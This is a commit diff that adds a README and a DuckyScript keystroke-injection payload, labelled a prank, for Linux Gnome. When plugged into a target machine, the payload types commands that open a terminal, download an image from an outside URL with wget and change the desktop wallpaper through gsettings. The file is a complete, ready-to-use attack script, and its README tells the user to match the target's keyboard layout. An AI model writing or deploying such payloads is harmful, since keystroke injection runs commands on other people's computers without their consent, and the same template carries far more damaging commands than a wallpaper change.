New payload - change gnome wallpaper

payloads/library/prank/Change-Gnome-wallpaper/README.md

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+# Change Gnome wallpaper
+
+A payload for changing the targets wallpaper on Gnome
+**Category:** Prank
+
+## Dependencies
+- Linux Gnome
+- Internet connection
+
+## Settings
+- `DUCKY_LANG` make sure to chose your targets keyboard layout
+- `#LINK` the image url of the wallpaper to set (by default its [this](https://pbs.twimg.com/tweet_video_thumb/GLJE0kIWkAE_ohg.jpg))

payloads/library/prank/Change-Gnome-wallpaper/payload.txt

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+REM ###############################################
+REM #                                             |
+REM # Title        : Change Gnome wallpaper       |
+REM # Author       : simen64                      |
+REM # Version      : 1.0                          |
+REM # Category     : Prank                        |
+REM # Target       : Linux Gnome                  |
+REM #                                             |
+REM ###############################################
+
+REM Requirements:
+REM - Internet Connection
+
+REM Change this to your keyboard layout
+DUCKY_LANG NO
+
+DELAY 1000
+CAPSLOCK_DISABLE
+
+REM put the link to your image here:
+DEFINE #LINK https://pbs.twimg.com/tweet_video_thumb/GLJE0kIWkAE_ohg.jpg
+
+ALT F2
+DELAY 100
+STRINGLN xterm
+DELAY 500
+
+STRINGLN wget -O /var/tmp/w.png #LINK && gsettings set org.gnome.desktop.background picture-uri-dark 'file:///var/tmp/w.png' && gsettings set org.gnome.desktop.background picture-uri 'file:///var/tmp/w.png' && exit